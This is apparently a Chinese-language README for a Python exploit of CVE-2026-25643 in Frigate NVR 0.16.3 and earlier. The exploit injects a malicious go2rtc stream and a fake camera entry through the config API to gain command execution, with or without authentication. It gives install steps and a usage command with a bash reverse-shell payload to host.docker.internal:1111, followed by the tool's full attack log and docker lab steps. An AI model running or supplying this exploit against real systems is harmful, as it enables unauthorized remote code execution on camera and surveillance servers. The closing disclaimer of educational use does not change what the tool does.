此 Python 漏洞利用针对 Frigate NVR 0.16.3 及更早版本中的一个严重配置操纵漏洞(涵盖已认证和未认证两条路径)。通过注入恶意的 go2rtc 流和一个伪造的摄像头条目,它可在服务重启时以 Frigate 进程身份触发任意命令执行——无需反向 Shell 或输出捕获。
[!NOTE] 为确保项目依赖拥有干净且隔离的环境,建议使用 Python 的
venv模块。
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-25643.git
cd CVE-2026-25643
python -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-25643.py -c "bash -i >& /dev/tcp/host.docker.internal/1111 0>&1" --url http://localhost:5001/
目标 : http://localhost:5001
命令: bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[!] 未提供凭据 → 尝试未认证访问
[*] 获取当前配置(/api/config/raw)...
[*] 配置获取 → HTTP 200
[*] 收到 914 字节
[*] 配置为 JSON 包装 → 已解包
[+] 配置解析成功(7 个顶层键)
[*] 准备载荷 → 正在执行:bash -i >& /dev/tcp/host.docker.internal/1111 0>&1
[*] 使用的载荷:bash -c 'bash -i >& /dev/tcp/host.docker.internal/1111 0>&1'
[+] 已注入恶意流 → debug_cmd
[+] 已注入触发摄像头 → trigger_exec
[*] 正在发送修改后的配置(861 字节),选项:restart
[*] 配置保存 → HTTP 200
[+] 配置已接受(服务器应会重启)
============================================================
载荷已发送!命令应在 go2rtc 初始化 / 摄像头探测期间执行。
请注意:
• 输出不会被捕获(盲执行)
• 命令以用户/frigate 进程身份运行
• 重启期间可能会多次执行
============================================================
cd docker/
docker compose down
docker compose up -d
# 你可以在 --url http://127.0.0.1:5001 进行测试

此工具仅用于教育和研究目的。创建者不对因使用该工具而造成的任何滥用或损害承担责任。